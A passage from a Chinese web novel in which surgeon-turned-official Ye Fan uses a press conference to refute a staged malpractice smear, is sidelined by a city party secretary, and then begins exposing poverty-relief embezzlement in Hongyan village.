帖子下面,还附上了一段视频。
视频里,一位自称是死者儿子的中年男人,声泪俱下地哭诉:“叶凡!你还我父亲的命来!你这种人,有什么资格当官,有什么资格为人民服务!你就是个**凶手!”
一石激起千层浪。
帖子在短短几小时内,点击量突破百万,评论数万条。
“**!真的假的?这要是真的,也太黑了吧!”
“我就说嘛,一个医生,凭什么升这么快,原来背后这么脏!”
“严查!必须严查!这种人当官,老百姓还有活路吗?”
“抵制青川国际医院项目!谁知道他会从里面捞多少黑心钱!”
**,彻底引爆。
这把火,不仅烧向了叶凡,更烧向了整个青川县,烧向
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了那个刚刚在鸿门宴上被叶凡“抢”下来的国际医院项目。
……
上午九点,青川县政府大楼,气氛压抑得像要滴出水来。
所有干部看到叶凡,都像躲瘟神一样,远远地避开。
**的办公室里,电话铃声此起彼伏,市里各个部门打来的“问询”电话,几乎要把他的耳朵打爆。
“叶凡,这……这到底是怎么回事?”**拿着打印出来的帖子,手都在抖。
“一篇精心策划的檄文。”叶凡的表情,出人意料的平静。
“现在不是说这个的时候!市纪委的电话已经打到我这里了,说要成立联合调查组,下来核实情况!”**急得在办公室里团团转,“这下麻烦了!项目肯定要被叫停,你……你恐怕也要被停职调查!”
叶凡给自己倒了杯水,慢悠悠地喝了一口。
“李县长,别急。”他放下水杯,“这正是他们想要的。我们一乱,就正中下怀。”
“能不急吗?火都烧到眉毛了!”
叶凡看着窗外,眼神深邃:“李县长,你信我吗?”
**一愣,看着叶凡那双沉静如水的眼睛,狂躁的心,莫名地安定了一些。
他咬了咬牙:“信!都到这份上了,我不信你信谁?”
“好。”叶凡点了点头,“那接下来,我们分头行动。第一,你马上给市里回话,就说我们青川县委县政府完全支持市里的调查,并且主动要求,调查过程全程公开,接受媒体和群众的监督。”
“什么?公开?”**眼珠子都快瞪出来了,“这不是把脸伸过去让人打吗?”
“要的就是这个效果。”叶凡的眼中闪过一丝精光,“他们想把事情闹大,我们就帮他们闹得更大。第二,你以县政府的名义,立刻召开新闻发布会,地点,就选在县医院的报告厅。时间,定在明天上午十点。”
“新闻发布会?你要干什么?当众谢罪吗?”
“不。”叶凡摇了摇头,“我要当着全江城媒体的面,给这位‘死者’,重新做一次‘尸检’。”
**彻底懵了,他感觉自己的脑子已经跟不上叶凡的节奏了。
就在这时,叶凡的手机响了,是苏沐秋。
“我看到帖子了。”电话那头的声音带着压抑不住的焦急和担忧,“你现在怎么样?”
“正在准备上手术台。”叶凡的语气,甚至还带上了一丝轻松的笑意。
“你还笑得出来!这明显是冲着你来的,魏东他们疯了!”
“别担心。”叶凡的声音变得温和,“我需要你帮我个忙。”
“你说!什么忙我都帮!”
“帮我找一个人。”叶凡的眼神,变得锐利起来,“帖子里那个哭诉的‘儿子’,叫王建平。我要他所有的资料,越详细越好。尤其是……他最近的财务状况。”
“好,我马上去查!”
挂了电话,叶凡又拨通了另一个号码。
电话响了很久才被接起,那头传来一个慵懒而警惕的声音。
“谁?”
“周主任。”叶凡的声音很平静,“你的‘病历’,我收到了。写得很专业。不过,光有病历还不够,我想请你这位‘老专家’,来参加一场公开的‘病例讨论会’,不知道,你有没有兴趣?”
电话那头的周启明沉默了。
第189章 阳光下的尸检!
青川县要召开新闻发布会,回应“明星县长医疗事故”传闻的消息,像长了翅膀一样,瞬间传遍了整个江城。
所有人都觉得,叶凡疯了。
这种丑闻,捂盖子都来不及,他居然还要主动把媒体都叫来,搭个台子,把自己的脸凑上去让人打?
这不是自取其辱吗?
魏东在自己的办公室里,看到这个消息时,笑得眼泪都出来了。
“蠢货!真是个彻头彻尾的蠢货!”他将手里的雪茄狠狠摁在烟灰缸里,“我倒要看看,明天他怎么当着全城人的面,把自己钉在耻辱柱上!”
他立刻给柳如烟打了个电话。
“柳部长,明天青川有场好戏,你们电视台,可千万别错过了。机位要多,角度要全,务必把我们这位叶县长最狼狈、最绝望的表情,给我拍个高清特写!”
电话那头的柳如烟沉默了片刻,声音听不出情绪:“知道了。”
挂了电话,柳如烟看着窗外灰蒙蒙的天空,心里五味杂陈。
她不相信叶凡会草菅人命,他的医术,他的严谨,她比谁都清楚。
但帖子上那些“证据”,尤其是那张权钱交易的照片,让她无法辩驳。
她拿起内线电话,声音有些沙哑:“小王,明天青川的新闻发布会,你带队去。记住,只记录,不评论。在事情没有最终定论前,我们电视台不站任何立场。”
……
第二天上午,九点半。
青川县人民医院的学术报告厅,座无虚席。
来自省、市的几十家媒体,**短炮,严阵以待。
闪光灯此起彼伏,将不算大的报告厅照得如同白昼。
空气中弥漫着一股紧张而又兴奋的气味,像一场审判开始前的躁动。
柳如烟也来了,她没有坐在最前排的媒体区,而是选择了一个靠后的角落,戴着墨镜和口罩,像一个普通的旁观者。
报告厅的第一排,坐着几个表情严肃的男人。
为首的,是市纪委的**,他身旁是市卫生局和市**局的领导。
一个规格极高的“联合调查组”已经提前进驻。
主席台上,只简单地摆着一张桌子,桌后是县长**和叶凡。
**的脸色发白,桌子下的手一直在抖。
而叶凡却像没事人一样,靠在椅背上,闭着眼睛,仿佛在假寐。
十点整。
发布会准时开始。
**清了清嗓子,照着秘书写的稿子,念了一段官样文章,无非是“高度重视”、“积极配合”、“彻查到底”之类的套话。
台下的记者们显然对这些不感兴趣,一个个都把镜头死死地对准了叶凡。
终于,到了记者提问环节。
一只手“刷”地一下举了起来,是江城都市报的记者,以提问刁钻闻名。
“叶县长!网上爆料,三年前您主刀的一台手术,导致患者死亡,您最终却靠着前岳父家的权势,花钱摆平,逃脱了责任。请问,这是真的吗?”
问题一出,全场哗然。
闪光灯瞬间爆闪,所有话筒都对准了叶凡。
叶凡睁开眼睛,他没有回答问题,而是拿起话筒,平静地说道:“在回答问题之前,我想先请大家看一段东西。”
他身后的巨大屏幕,亮了起来。
出现的,不是道歉信,也不是证据,而是一张高清的人体心脏解剖图。
叶凡站起身,拿起一支激光笔,像一个正在上课的医学院教授。
“这张图是我们今天要讨论的‘案发现场’。”他的声音通过音响,清晰地传遍了整个报告厅,“死者,王大爷,他当时的情况,比这张图要复杂得多。主动脉瓣重度钙化,几乎完全闭锁,同时,三支冠状动脉,两支堵塞超过90%,一支堵塞75%。用一个通俗的比喻,他的心脏,就像一间门窗都被堵死的房子,随时可能因为缺氧而坍塌。”
台下的记者们都懵了。
这是新闻发布会,还是医学公开课?
就连前排的纪委领导都皱起了眉头。
叶凡没有理会众人的反应,继续说道:“当时,有两个选择。第一,保守治疗,用药物维持。结果是,病人在三个月内,死亡率超过90%。第二,手术。风险极高,全国范围内,这种手术的成功率,不超过30%。”
他按了一下遥控器,屏幕上出现了王大爷的术前知情同意书,上面有家属清晰的签名。
“我们和家属进行了充分的沟通,他们选择了手术,选择放手一搏。”
“手术很成功,堵死的‘门窗’都打开了。但遗憾的是术后第三天,病人突发大面积脑梗。原因是主动脉壁上一个我们术前无法发现的、微小的动脉粥样硬化斑块,在血流恢复冲击后,脱落了,堵住了脑血管。”
叶凡的声音里带着一丝遗憾,但更多的是一种专业人员的冷静和坦诚。
“这是一个我们无法预料、也无法规避的并发症。医学不是神学,我们是医生,不是上帝。我们能做的是在每一个已知的风险面前,做到极致。但对于未知的领域,我们有时也无能为力。”
他的话让现场那些原本充满敌意的记者,渐渐安静了下来。
“说得好听!”一个尖锐的声音突然从记者群后方响起,“你就是在推卸责任!如果不是你手术有问题,我爸怎么会死!”
众人回头,只见一个中年男人被几个记者簇拥着,满脸悲愤,正是视频里那个“儿子”王建平。
他冲到台前,指着叶凡,声嘶力竭:“你还我爸爸的命来!”
现场顿时大乱。
调查组的领导脸色一变,正要让保安维持秩序。
“让他说。”叶凡却摆了摆手,示意保安退下。
他看着王建平,眼神里没有愤怒,反
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而带着一丝悲悯。
“王先生,我很理解你的心情。但今天,我们不是在讨论情感,我们是在‘尸检’,还原真相。”
叶凡的目光陡然变得锐利起来。
“你说是我害**你父亲。那么,你为什么在事发三年后,才突然想起来要‘主持公道’?”
王建平眼神躲闪了一下,随即梗着脖子喊道:“我……我以前是怕了你们家的权势!现在是法治社会,我不怕了!”
“是吗?”叶凡笑了笑,“那你最近是不是手头很紧?比如说,在澳门输了三百多万,还欠了一屁股**?”
王建平的脸“刷”地一下,变得惨白。
“你……你胡说八道!”
叶凡没有理他,而是按下了遥控器。
屏幕上,出现了一份银行流水记录。
“这是你上个月的银行账户流水。其中有一笔两百万的入账,来自一家香港的投资公司。很不巧,这家公司的背后,是华天资本。”
“同时,我们还查到你父亲王大爷在去世前半年,曾经买过一份价值一百万的意外伤害保险。受益人是你。而保险的生效日期,恰好是在他决定做手术之后。”
叶凡一步一步走下主席台,来到王建平面前。
“现在,你告诉我。”他的声音不大,却像重锤一样,敲在每个人的心上,“你当初让你父亲来做这台九死一生的手术,到底是想让他活,还是想让他死?”
王建平浑身一软,瘫倒在地。
全场,死一般的寂静。
所有人都被这个惊天的反转,震得说不出话来。
原来,这根本不是什么医疗事故,这是一场蓄谋已久的、为了**而导演的悲剧!
而那个哭得撕心裂肺的“孝子”,才是真正想让父亲**的“凶手”!
角落里,柳如烟捂住了嘴,眼中充满了震惊。
她看着台上那个从容不迫、掌控一切的男人,感觉自己像第一次认识他。
就在这时,报告厅的后门,被推开了。
一个清瘦的身影,逆着光,缓缓走了进来。
是周启明。
他走到第一排,在纪委**身边空着的位置上,坐了下来。
然后,他从公文包里,拿出了一份文件,递了过去。
“**,这是我对华天资本及其关联方,在青川国际医院项目招标过程中,涉嫌‘围标’和‘不正当竞争’的调查报告。我建议,立即暂停华天资本的竞标资格,并对其展开全面调查。”
他的声音不大,但在寂静的报告厅里,清晰无比。
魏东,完了。
叶凡看着周启明,周启明也正看着他。
两人的目光在空中交汇,像两把刚刚完成了一场完美配合的手术刀,在无影灯下,闪着冰冷而默契的光。
叶凡知道,这场“阳光下的尸检”,结束了。
而他,赢了。
第190章 余震与涟漪!
新闻发布会结束了,但学术报告厅里,没人愿意离开。
几十家媒体的记者们像是被施了定身术,一个个呆在原地,消化着刚才那场惊心动魄的“公开尸检”。
闪光灯不再闪烁,取而代之的是一种近乎诡异的寂静。
每个人都在回味。
从一开始的“医疗事故”,到“**杀父”,再到华天资本的黑金交易,最后是市纪委的“准盟友”周启明临阵倒戈……这一套组合拳打下来,信息量大到能让任何一台电脑的CPU都烧掉。
王建平像一滩烂泥,被两名**干警架了出去,嘴里还念叨着“不是我……不是我……”。
**坐在主席台上,端起茶杯喝水,可手抖得太厉害,茶水洒了半边裤子,他却浑然不觉。
他看着身旁那个重新坐下、神情淡然得仿佛刚才只是去上了个厕所的叶凡,喉咙发干。
这小子还是人吗?
这哪是开新闻发布会,这分明是当着全城媒体的面,做了一场开胸、清创、缝合、甚至顺手还切了个肿瘤的超级大手术!干净,利落,一刀毙命。
周启明已经悄然离去,只留下了那份足以判处华天资本和魏东**的报告。
市纪委的几位领导脸色铁青,拿着那份报告,像是捧着一块滚烫的烙铁,匆匆离场。
他们知道,江城的天,要变了。
“咳咳。”**终于找回了自己的声音,他对着话筒,用一种近乎梦游的语气宣布,“今天的发布会,到此结束。”
话音刚落,记者们像是瞬间解冻,“轰”的一下炸开了锅,潮水般向着主席台涌来。
“叶县长!请问您是怎么发现王建平**的?”
“叶县长!周启明主任的倒戈,是您策划的吗?”
“叶县长!华天资本出局,国际医院项目后续将如何打算?”
“叶凡!”
一个清脆的声音穿透了嘈杂的人群。
苏沐秋挤了进来,她没有拿话筒,也没有拿录音笔,一双明亮的眼睛就那么看着叶凡,里面有震惊,有后怕,更多的,是一种难以言喻的光彩。
叶凡冲她笑了笑,那笑容里带着一丝如释重负的轻松。
**总算反应过来,赶紧招呼着保安,护着叶凡从侧门撤退。
两人几乎是逃也似地回到了县长办公室。
门一关上,**就再也绷不住了,他一把抓住叶凡的胳膊,上下打量着,仿佛在确认眼前这家伙是不是外星人变得。
“老弟……不,领导,祖宗!你给我交个底,你是不是提前排练过?刚才那场面,我拍了三十年马屁……不对,我从政三十年,就没见过这么玩的!”
叶凡被他逗笑了,给自己倒了杯水:“李县长,临时抱佛脚而已。”
“抱佛脚能抱成这样?你抱的是斗战胜佛吧!”**一屁股坐在沙发上,感觉浑身都虚脱了,“我这颗老心脏,今天算是跟着你坐了一回过山车。不行,等医院建好了,我得第一个办VIP,还是心血管科的。”
叶凡笑而不语。
他知道,事情远没有结束。
今天在台上,他打的是魏东的脸,撕的是王建平的皮,但真正得罪的是那个自始至终没有露面的人——****,高建民。
果然,桌上的红色电话机发出了刺耳的铃声。
**一个激灵,看了一眼来电显示,脸瞬间就白了。
他做了个“抹脖子”的动作,压低声音:“**的。”
叶凡示意他接。
**深吸一口气,按下了免提键,声音瞬间变得无比恭敬:“高**,您好。”
电话那头沉默了几秒钟,随后传来高建民冰冷得不带一丝温度的声音。
“建国同志,你们青川县,今天很威风啊。”
**背后的冷汗“唰”就下来了:“**,我们……”
“开了一场很精彩的新闻发布会嘛。”高建民打断了他,声音里听不出喜怒,“把一些藏在暗处的蛀虫,都摆在了阳光下。很好,非常好。”
**和叶凡对视一眼,都感觉到了不对劲。
高**这夸奖,怎么听怎么瘆人。
“不过……”高建民话锋一转,语气陡然凌厉起来,“医院项目是市里的重点工程,不是某些人哗众取宠、博取个人声名的舞台!华天资本出了问题,那就说明我们前期的考察工作,做得还不够扎实,不够细致!”
“现在,我宣布**的决定。”
“第一,青川国际医院项目暂时搁置。由市发改委牵头,重新组织专家团队,对项目的可行性、必要性,进行为期三个月的补充论证!”
“第二,叶凡同志,虽然在这次事件中表现突出,但也暴露了其识人不明、差点被别有用心之人蒙蔽的问题。**认为,他还需要更多的基层锻炼。从今天起,免去其项目总负责人的职务,让他把全部精力,都投入到青川县的扶贫工作上去!”
“嘟……嘟……嘟……”
电话**脆地挂断了。
办公室里,死一般的寂静。
**的脸比刚才洒了水的裤子还要白。
他呆呆地看着叶凡,嘴唇哆嗦着,半天说不出一句话。
这是什么?
这是赤裸裸的报复!
明面上,高建民的决定合情合理,甚至还表扬了叶凡。
可实际上,招招致命。
项目搁置三个月,黄花菜都凉了。
康普顿那边的合作意向,拖得起吗?
免去项目总负责人,等于直接把叶凡踢出了局。
让他去搞扶贫,就是把他死死地按在乡镇那一亩三分地,再也别想冒头。
刚刚才打赢了一场史诗级的翻身仗,还没来得及庆祝,一盆冰水就从头顶浇了下来。
“他……他怎么能这样!”**气得浑身发抖,“这是滥用职权!这是打击报复!我要去省里告他!”
“没用的。”叶凡的表情,却依旧
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平静,“他所有的程序都合法合规。你拿不到任何把柄。”
“那……那怎么办?就这么认了?”**一脸绝望。
叶凡走到窗边,看着楼下广场上,那些刚刚见证了他高光时刻的记者们,正在陆续散去。
“李县长,外科手术,最怕的是什么?”他突然问。
**一愣:“是什么?”
“是术后感染。”叶凡的目光变得深邃,“我们刚刚切掉了一个巨大的肿瘤,肌体正处于最虚弱的时候。这个时候,任何一点细菌的侵入,都可能导致前功尽弃。”
“高**这招,不是冰水,是一针带着病毒的抗生素。看似在帮你消炎,实则是在扼杀你自身免疫系统的生机。”
他转过身,看着一脸颓丧的**,笑了。
“不过,他好像忘了。我除了是心外科医生,大学的时候,选修的还是免疫学。”
就在这时,他的手机响了。
是一个陌生的号码,归属地显示在京城。
叶凡犹豫了一下,接了起来。
“是青川县的叶凡同志吗?”电话那头,是一个中气十足、带着威严的男中音。
“我是,请问您是?”
“呵呵,我是谁不重要。”男人笑了笑,“我只是一个喜欢看人‘做手术’的观众。今天这场手术,做得不错。有章法,有胆色,够犀利。”
叶凡心里一动。
“不过,”男人继续说,“手术做得再好,病人不配合,也容易复发。我听说,有人想让你的病人,停止治疗啊?”
消息真快!
叶凡的瞳孔微微收缩。
高建民的决定刚下达不到十分钟,远在京城的人就已经知道了。
这位“观众”,来头绝对不小。
“想不想,给你的病人,换个更权威的‘主治医生’来督促他配合治疗?”
叶凡的心猛地跳了一下。
“我需要做什么?”
“你不需要做什么。”电话那头的声音带着一丝欣赏,“你只需要把今天这场手术的‘手术报告’,写得更详细一点,更深刻一点。尤其是关于‘公私合营’、‘基础民生’和‘高端医疗’相结合的创新模式,多谈谈你的想法。”
“报告写给谁?”
“你不用管写给谁。三天后,会有人去青川,找你取。”男人说完,顿了顿,又补充了一句,“哦,对了。康普顿的史密斯先生,是我一位老朋友的晚辈。他刚刚给我打了电话,说在江城,遇到了一位非常有远见的年轻官员。他对你们的合作,很期待。”
电话挂断了。
**凑了过来,满脸紧张:“谁啊?”
叶凡放下手机,脸上的阴霾一扫而空,取而代之的是一种前所未有的光亮。
“一个更高级的‘手术室’里派来的巡查员。”
他拿起桌上的笔和纸,对**说:“李县长,麻烦帮我准备点宵夜。今晚,我要写一份全世界最贵的‘病历’。”
第191章 扶贫,还是**?
新闻发布会掀起的风暴,最终以一种近乎荒诞的方式暂时平息。
叶凡成了江城官场一个难以名状的符号。
有人说他后台通天,有人说他自寻死路。
但无论如何,高建民**的一纸电话,将他从万众瞩目的项目总负责人变成了去啃“扶贫”这块硬骨头的闲职副县长。
打赢了**,输掉了实权。
这是大多数人的看法。
县长办公室里,**一夜没睡,眼圈黑得像被人揍了两拳。
他看着同样熬了一宿,却精神头十足,正在稿纸上奋笔疾书的叶凡,感觉自己像个即将被送上考场的学生家长。
“我说……叶老弟,”**端着一杯浓茶,小心翼翼地放在叶凡手边,“这玩意儿……真能送到京城?靠谱吗?别是遇上电信**了吧?上来就让咱们写报告,下一步是不是就该让咱们打钱了?”
叶凡停下笔,捏了捏眉心,被他逗乐了:“李县长,你看我像那么好骗的人吗?”
“你是不像,你像骗人的那个。”**小声嘀咕,随即又凑上来,“你这写的是什么?我看看。”
稿纸上,标题龙飞凤舞——《关于在经济欠发达地区构建“急救式扶贫”与“康复式造血”相结合的民生保障体系探索》。
**一个字一个字地念,念完倒吸一口凉气:“我的天,你还真把扶贫当成给人看病了?又是急救又是康复的,这词儿整的,够吓人。”
“本质上一样。”叶凡将报告整理好,吹了吹上面的墨迹,“短期输血,是为续命。长期造血,是为强身。以前的扶贫,光输血了,病人躺在床上有吃有喝,一拔管子,立马完蛋。我要做的,是让他自己下地走路。”
**听得一愣一愣的,虽然不全懂,但感觉很高级。
“行吧,你这套一套的,我是说不过你。”他搓了搓手,“可眼下怎么办?县里都传遍了,说你得罪了高**,被发配了。扶贫办那帮人,可都是老油子,你一个没实权的副县长过去,人家拿你当个摆设,阳奉阴违,你怎么办?”
叶凡笑了笑,将报告装进一个牛皮纸袋,封好。
“医生治病,第一步是什么?”
“问诊?”
“不,是查房。”叶凡站起身,拍了拍**的肩膀,“我去查查我的‘病房’,看看我的‘病人’们,现在是什么情况。”
青川县扶贫开发办公室,在政府大楼的角落,是出了名的“养老院”。
叶凡的任命下来,办公室主任马向东,一个五十多岁、头发梳得油光锃亮的老干部,召集手下开了个短会。
“都听说了吧?新来了个管咱们的副县长。”老马呷了口茶,慢悠悠地说,“年轻人,有冲劲,但不懂咱们基层的苦。咱们呢,要支持领导工作,但也要讲究方式方法。他让干啥,咱们就研究研究,讨论讨论。总之,别让他觉得咱们不配合,也别真把咱们自己累着,听明白了吗?”
下面几个歪瓜裂枣的科员心领神会地笑了起来。
“明白,马主任,就是拖字诀嘛。”
“咱们这儿的卷宗,够那位叶县长看到明年开春了。”
然而,他们等了一上午,叶凡连办公室的门都没进。
下午,老马才接到电话,是县府办打来的,说叶县长已经下乡了,让他准备一份全县最贫困村的资料,送到青山镇。
老马挂了电话,冷笑一声。
“还挺会演。行,要资料是吧?给他。”他从档案柜最底层抽出一份落满灰尘的卷宗,吹了吹,“就把‘红岩村’的给他。省里年年拨款,县里年年扶持,结果年年垫底的那个。我倒要看看,他这个神医,能不能治好这个‘癌症村’。”
此时的叶凡已经站在了红岩村的村口。
这里曾是石料厂的所在地,如今厂子关了,山体裸露,土地贫瘠,整个村子都笼罩在一股萧瑟的气氛里。
他没惊动任何人,一个人在村里转悠。
村道上,几个老人无神地坐着晒太阳,孩子们穿着不合身的旧衣服,在泥地里打滚。
叶凡的目光最终落在了村里唯一的小卖部。
他走进去,买了一包烟,和老板有一搭没一搭地聊了起来。
“老板,生意怎么样?”
“就那样呗,一天到晚卖不出几包盐。”老板是个中年人,一脸的愁苦。
“村里年轻人呢?都出去打工了?”
“可不咋的,留下来的,都是老弱病残。”老板叹了口气,“守着这破山沟,能有啥出息。”
叶凡点点头,像是随口问道:“我看村里地不少,怎么不种点什么?我看隔壁镇的药材,这两年行情就不错。”
老板一听这个,顿时来了气:“种?种个屁!前几年,县里那个马主任非让咱们种什么‘金线莲’,说是
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省农科院的新品种,一亩地能挣好几万。结果呢?种子发下来,种下去连芽都冒几个,好不容易长出来几棵,蔫了吧唧的,一阵风就倒了。几万块的扶贫款,全打了水漂!”
叶凡的眼神微微一凝。
他又在村里转了一圈,最后走进了村支书张老蔫的家。
张老蔫正坐在院子里,对着一堆发了霉的草药发愁。
看到叶凡,他愣了一下,随即认了出来。
“您……您是叶县长?”
“来看看大家。”叶凡蹲下身,捻起一株枯黄的药草,“这就是当年种的金线莲?”
“是啊。”张老蔫一脸的肉疼,“当初马主任拍着胸脯保证,说种子是最好的,肥料是**的,结果……唉!”
叶凡将药草凑到鼻子前闻了闻,又仔细看了看根茎,他那双做过无数次精细手术的眼睛,此刻像一台高倍显微镜。
片刻后,他笑了。
“张**,这玩意儿,根本就不是金线莲。”
张老蔫猛地抬起头:“不是?那是什么?”
“这是拟金线莲草,外形很像,但药用价值和生长习性天差地别。说白了,就是个冒牌货。”叶凡站起身,拍了拍手上的土,目光投向远处的秃山。
“这个村子,不是穷,是病了。”他回头看着目瞪口呆的张老蔫,一字一句地说道,“而且,病得不轻。有人在拿扶贫款,给这个村子常年喂**。”
傍晚,苏沐秋的电话打了过来,带着几分担忧。
“我听说你被调整工作了?你没事吧?”
“没事,换了个手术室,病人更多了而已。”叶凡的语气很轻松。
苏沐秋在那头沉默了一下,似乎在组织语言。
“你……你一个人在山里,要注意安全。我……我给你准备个急救包寄过去?”
叶凡听着她小心翼翼的关心,心里一暖。
“我本身就是急救包。不过,我这儿缺个战地记者,你来不来?”
“啊?”苏沐秋没反应过来。
“我要给红岩村动一场大手术,需要有人全程记录,把手术过程公之于众。你这个主笔,愿意来给我当助手吗?”
电话那头的苏沐秋没有丝毫犹豫。
“等我,我明天就到!”
挂了电话,叶凡看着暮色四合的村庄,眼神变得锐利。
一场针对“贫穷”这种顽固疾病的诊断,正式开始。
第192章 诊断书:穷病的根源!
第二天一早,苏沐秋就开着她那辆小小的甲壳虫,风尘仆仆地赶到了红岩村。
她换下了一身职业套裙,穿了简单的牛仔裤和冲锋衣,长发扎成马尾,显得干练又清爽。
看到蹲在村口,正和一个七八岁的小男孩研究蚂蚁搬家的叶凡,她有点哭笑不得。
“叶大县长,这就是你在查房?”
叶凡站起身,拍了拍裤腿上的土,指着地上的蚂蚁对小男孩说:“你看,它们知道走哪条路最近,哪条路有吃的。这叫信息素。比某些人可聪明多了。”
小男孩似懂非懂地点点头。
苏沐秋白了他一眼:“别在这儿故弄玄虚了,查到什么了?”
“病灶很深,需要做个‘病理切片’。”叶凡说着,领着她往村委会走。
村委会的办公室里,村支书张老蔫已经把当年的所有单据、合同、领料单都翻了出来,厚厚一沓,堆在桌上。
“叶县长,苏记者,都在这儿了。”张老蔫指着那堆发黄的纸,“这是当年农技站发的种子和化肥的单子,还有拨下来的灌溉渠修建款的合同。”
叶凡拿起一张领料单,目光落在“金线莲种苗”几个字上,又翻了翻后面的化肥单。
“有问题?”苏沐秋凑过来问。
“问题大了。”叶凡拿出一支笔,在单子上画了两个圈,“你看,种子供应商是‘江城绿源农业科技公司’。化肥供应商是‘宏达农资有限公司’。”
“这两家公司怎么了?”
“我让小张查了一下。”叶凡的秘书小张,此刻已经成了他的专属情报员,“这个绿源公司,法人代表叫马小军。宏达农资的股东之一,叫马小红。”
“都姓马?”苏沐秋的记者嗅觉立刻敏锐起来。
“对。他们是扶贫办马向东主任的一对龙凤胎子女。”
苏沐秋倒吸一口凉气。“这……这简直是监守自盗!”
“别急,还有更精彩的。”叶凡又拿起那份灌溉渠的工程合同,“工程款三十万,承建方是‘青川第三建筑队’,队长叫吴老三。”
“吴老三?”苏沐秋的眼睛瞪大了,“就是上次在县政府门口**,被你抓起来的那个?”
“是他。”叶凡点点头,“我查了卷宗,吴老三进去之后,很快就被人保释了。帮他运作的,就是马向东。”
一条清晰的利益链,瞬间浮现在两人面前。
马向东利用职权,将扶贫项目分包给自己的子女和亲信。
儿子用假种子骗取种苗款,女儿用劣质化肥冒充**肥,吴老三的工程队再用一个豆腐渣工程,套取工程款。
三十万的灌溉渠,修了不到一年就塌了。
几万块的种苗款,换来了一堆野草。
扶贫款,就这样被他们像分猪肉一样,瓜分得干干净净。
而红岩村,则成了他们套取国家资金的“道具”。
“畜生!”苏沐秋气得俏脸通红,一拳砸在桌子上。
“别生气,气坏了身子,还得我给你治。”叶凡递给她一瓶矿泉水,语气倒是很平静,“现在证据链基本完整了,就差一个关键的‘病理报告’。”
“什么报告?”
“人证。”叶凡看着张老蔫,“张**,这几年,你就没怀疑过?”
张老蔫的脸涨成了猪肝色,他低下头,搓着手,半晌才憋出一句话:“怀疑过……咋没怀疑过。可……马主任是县里的官,吴老三是镇上的霸,我……我一个村长,我能咋办?我家里还有老婆孩子……”
叶凡理解他的怯懦,但他需要一把更锋利的刀。
“张**,我问你,你想不想让村里人过上好日子?”
“想!做梦都想!”
“你想不想让你的娃,以后能抬头挺胸地走出这个村子,而不是被人指着脊梁骨说,那是贫困村出来的?”
张老癌的眼圈红了。
“那你就得拿出点胆量来。”叶凡的声音很沉,“你现在站出来,是指证贪官的英雄。你要是继续缩着,那你就是他们的帮凶。你自己选。”
张老蔫的身体剧烈地颤抖着,他看着叶凡那双仿佛能洞穿人心的眼睛,又看了看旁边一脸正气的苏沐秋。
许久,他一咬牙,像是下了天大的决心。
“**!叶县长,你说怎么干,我就怎么干!这鸟气,我他妈受够了!”
当天下午,苏沐秋以《江城晚报》记者的名义,对红岩村的扶贫乱象展开了正式采访
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张老蔫带头,十几位村民代表,对着苏沐秋的录音笔和摄像机,将这几年被坑蒙拐骗的经历,原原本本地说了出来。
苏沐秋则以她专业的素养,引导着村民,将每一个细节,每一笔款项,都问得清清楚楚,形成了扎实的证据。
叶凡没有出面,他只是站在不远处的山坡上,静静地看着。
他知道,当这些被压迫已久的声音汇集在一起时,就将成为最致命的武器。
傍晚,扶贫办主任马向东的电话打到了**的手机上,电话里,他哭天抢地。
“李县长,您要为我做主啊!那个叶凡,他……他过界了!他一个管扶贫的,跑到村里去查陈年旧案,还带着记者,煽动村民,这是要搞乱我们青川的大好局面啊!”
**拿着电话,看了一眼旁边正在看采访素材的叶凡,清了清嗓子,官腔十足地说道:“马主任啊,叶县长也是为了工作嘛。群众有疑问,我们做干部的,就要去了解,去解决。你别有情绪,好好配合叶县长的工作嘛。”
**挂断了电话后,思考了片刻,又给叶凡打去了电话:“叶老弟,你这手搞得高啊,刚才马向东可是向我诉苦了,你要提防着狗急跳墙啊!”
叶凡微微一笑,“李县长,这只是刚刚开始而已,我一会儿会让秘书通知县扶贫办的人,明天上午十点,到红岩村村委会,召开扶贫工作现场会。县纪委的同志,也一并请来。就说,我要当面向他们汇报‘诊断结果’。”
**一听“纪委”两个字,脸色微微一变。
“我的叶老弟啊,你这是要干啥?直接就上‘化疗’啊?”
“不。”叶凡摇摇头,眼神里闪过一丝冷冽的光,“对于这种恶性肿瘤,不能化疗。”
“那要怎样?”
“要当着所有村民的面,公开切除,然后把切下来的东西,挂在村口,让大家看看,它到底是个什么玩意儿。”
**的脸上露出了无奈的笑容:“我就知道你这个人不会闲着,好吧,明天我也过去一趟,看看你这场扶贫手术到底要怎么做?”
叶凡笑了笑,说道:“多谢李县长的支持,我保证明天一定不会让您失望的!”
第193章 手术刀,还是屠龙刀?
第2天上午。 红岩村的村委会大院,从来没有这么热闹过。 村民们里三层外三层地围着,交头接耳,脸上是既紧张又期待的神情。 院子中央,临时搭了个简陋的主席台,几张桌子,几把椅子,显得有些寒酸,却又透着一股不同寻常的肃杀之气。 县长**坐在中间,坐立不安,手心里的汗把面前的笔记本都浸湿了。 县纪委孙**板着一张脸,不苟言笑。 叶凡坐在最边上,手里把玩着一个烤红薯,是早上一个村民大娘硬塞给他的。 上午十点,一辆黑色的帕萨特在一阵尘土中停在了院门口。 扶贫办主任马向东腆着肚子,从车上走了下来。 他看到院子里这阵仗,特别是看到了纪委孙**,心里咯噔一下,但脸上还是堆起了笑。 “哎呀,李县长,孙**,怎么还劳烦你们亲自跑一趟。叶县长也真是,开个现场会,搞这么大动静干嘛。”他一边说着,一边想往主席台上凑。 “马主任,你的位置在那儿。”叶凡指了指主席台对面,单独摆着的一张小板凳。 马向东的笑容僵在了脸上。 “叶县长,你这是什么意思?” “没什么意思,病人看病,总得坐在医生对面吧?”叶凡掰开手里的红薯,香气四溢,“坐吧,今天的问诊,你是主角。” 马向东的脸一阵红一阵白,在全村人的注视下,他只能忍着气,在那张小板凳上坐了下来,感觉屁股底下像有针在扎。 “好了,人到齐了。现在,开会。”叶凡拍了拍手,站了起来。 他没有念稿子,而是直接看向马向东。 “马主任,我们开门见山。三年前,你主导的‘金线莲’种植项目,号称能让红岩村脱贫致富。我想请问,为什么三年过去了,红岩村的人均收入,反而在全县垫底?” 马向东擦了擦额头的汗,强作镇定:“这个主要是因为气候不适应,加上村民们种植技术有限,所以……” “是吗?”叶凡打断了他,对旁边的苏沐秋递了个眼色。 苏沐秋会意,打开了随身带来的投影仪。 一束光打在村委会斑驳的墙壁上,出现了一张清晰的照片——一株植物的特写。 “马主任,你认识这个吗?” “这……这不是金线莲吗?” 